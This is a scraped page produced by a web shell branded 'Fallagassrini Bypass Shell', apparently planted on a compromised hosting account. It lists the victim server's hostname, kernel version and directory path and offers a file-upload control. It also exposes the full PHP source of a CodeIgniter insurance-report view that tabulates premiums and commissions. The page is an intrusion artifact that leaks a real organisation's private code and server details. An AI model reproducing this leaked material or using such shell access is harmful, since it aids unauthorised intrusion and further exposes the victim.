? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/drafthr/system/application/views/Report/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/drafthr/system/application/views/Report/plainscompwiserep.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?> <?php
 if ($search == "")
            $search = 'search';
       if($fromdate == '')
            $fromdate = 'fromdate';
        if($todate=='')
            $todate = 'todate';

$cov=$this->mastermodel->get_data_srow('insurance_company',$search,'id');
?>
<div class="select-bar">
    <table width="100%"><tr><td><label>
    <img src="<?=base_url()?>/assets/images/backbutton.png" title="Back" class="clickimage"  onclick="loadquotation()" alt="Back" align = "center" width="25" height="25"  /></label>
       </td><td>
Placing Slips Report- <?=$cov->company_name;?> <?if ($fromdate != 'fromdate'){ ?> - Date  from <?=$fromdate?> to <?=$todate?> <? } ?>
</td><td align="right">    <label><?=anchor('report/genrepsalesinscompwise/placing_slip/salesinscompwisepdf/'.$fromdate.'/'.$todate.'/'.$search.'/'.$cover_id.'/'.$branch_id.'/', '<img src="'.base_url().'/assets/images/pdf.png" title="PDF" align = "center" width="20" height="20">',array('class'=>'delete','onclick'=>"return confirm('Are you sure want to download')"))?></label>

    <label><?=anchor('report/genrepsalesinscompwise/placing_slip/salesinscompwisexls/'.$fromdate.'/'.$todate.'/'.$search.'/'.$cover_id.'/'.$branch_id.'/', '<img src="'.base_url().'/assets/images/excel.png" title="Excel" align = "center" width="20" height="20">',array('class'=>'delete','onclick'=>"return confirm('Are you sure want to download')"))?></label>
		  </td></tr></table></div>

<table class="reportheader">
    <tr><td>Insurance Company</td><td><?=$cov->company_name?></td></tr>
     <?if ($todate != 'todate'){ ?> <tr><td>Period</td><td>   <?=$fromdate?> to <?=$todate?> </td></tr><? } ?>
</table>


<table width="100%" class="sort">


<?php
        $k=0;
        $incr =0;
        $cctot=0;
        $actot=0;
        $nettot=0;
        $gptot=0;
        $brcctot=0;
        $bractot=0;
        $brnettot=0;
        $brgptot=0;
        $cvrid='unknown';

foreach($viewinfo as $updata)
{

$cov=$this->mastermodel->get_data_srow('covers',$updata['cover_id'],'id');
    if($updata['cover_id']!=$cvrid)
    {
$i=1;
           if($k!=0)
       {
          ?>
     <tr><td colspan="7" align="center">Total (<?=$updata['currencycode'];?>)</td><td><?=number_format($gptot, 2, '.', ',')?></td><td><?=number_format($cctot, 2, '.', ',')?></td><td><?=number_format($actot, 2, '.', ',')?></td><td><?=number_format($nettot, 2, '.', ',')?></td></tr>

     <?php
       $cctot=0;
        $actot=0;
        $nettot=0;
        $gptot=0;
           }
        ?>
</table><?='Cover : '.$cov->cover?><table width="100%" class="sort"><thead><tr>
                                  <th>Sl No</th>
                                  <th>Type</th>
                                   <th>Effective Date</th>

                                  <th>Quotation Ref No</th>
                                  <th>Insured/Policy No</th>
                                   <th>Insurer</th>
                                  <th>Account Holder</th>
                                <th>Gross Premium</th>

                                <th>Brokerage Commission</th>
                                    <th>Agent Commission</th>
                                     <th>Net Premium</th>


                              </tr>
<?php


$cvrid=$updata['cover_id'];
}
$k++;
    $comp=$this->mastermodel->get_data_srow('insurance_company',$updata['insurance_company_id'],'id');

$stf=$this->mastermodel->get_data_srow('staffpersonaldetails',$updata['staffid'],'id');
$type=$this->customermodel->getSingleFieldValue('customers','type','id',$updata['customerid']);
	      if($type=="Individual")
	      {
                  $cus=$this->mastermodel->get_data_srow('customer_personal_ind',$updata['customerid'],'customer_id');
              }
              else {
                   $cus=$this->mastermodel->get_data_srow('customer_corp_info',$updata['customerid'],'customer_id');
              }
	     ?>
                            <tr>
                                <td><?=$i++;?></td>
                               <td><?php echo $updata['typeof_policy'];?></td>
                                            <td><?php echo $this->mastermodel->convdatformat($updata['fromdate']);?></td>
                                            <td><?=$updata['quotation_ref'];?></td>
                                            <td><?=$cus->insured;?> / <?=$updata['policyno'];?>  </td>
                                            <td><?=$comp->company_name;?></td>
                                            <td><?=$stf->name;?></td>
                                            <td><?=number_format($updata['premium'], 2, '.', ',');?></td>
                                            <td>
                                                <?php
                                            $bc=(($updata['premium']*$updata['brokerage'])/100);
                                            $ac=(($updata['premium']*$updata['percentage'])/100);
                                            $cc=$bc-$ac;
                                            ?>
                                            <?=number_format($cc, 2, '.', ',');?></td>
                                            <td><?=number_format($ac, 2, '.', ',');?></td>
                                            <td><?php

                                            $net=($updata['premium']- ($bc));
                                             $net=($updata['premium']- ($bc));
                                            $gp= $updata['premium'];
                                            $cctot+=$cc;
                                            $actot+=$ac;
                                            $nettot+=$net;
                                            $gptot+=$gp;
                                            $brcctot+=$cc;
                                            $bractot+=$ac;
                                            $brnettot+=$net;
                                            $brgptot+=$gp;
                                            echo number_format($net, 2, '.', ',');?>
                                            </td>

                            </tr>



<?php
}

if($viewinfo)
{
?>
    <tr><td colspan="7" align="center">Total (<?=$updata['currencycode'];?>)</td><td><?=number_format($gptot, 2, '.', ',')?></td><td><?=number_format($cctot, 2, '.', ',')?></td><td><?=number_format($actot, 2, '.', ',')?></td><td><?=number_format($nettot, 2, '.', ',')?></td></tr>
   <tr><td colspan="7" align="center"><strong>Gross Total (<?=$updata['currencycode'];?>)</strong></td><td><strong><?=number_format($brgptot, 2, '.', ',')?></strong></td><td><strong><?=number_format($brcctot, 2, '.', ',')?></strong></td><td><strong><?=number_format($bractot, 2, '.', ',')?></strong></td><td><strong><?=number_format($brnettot, 2, '.', ',')?></strong></td></tr>
<?php
}
?>
</table>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net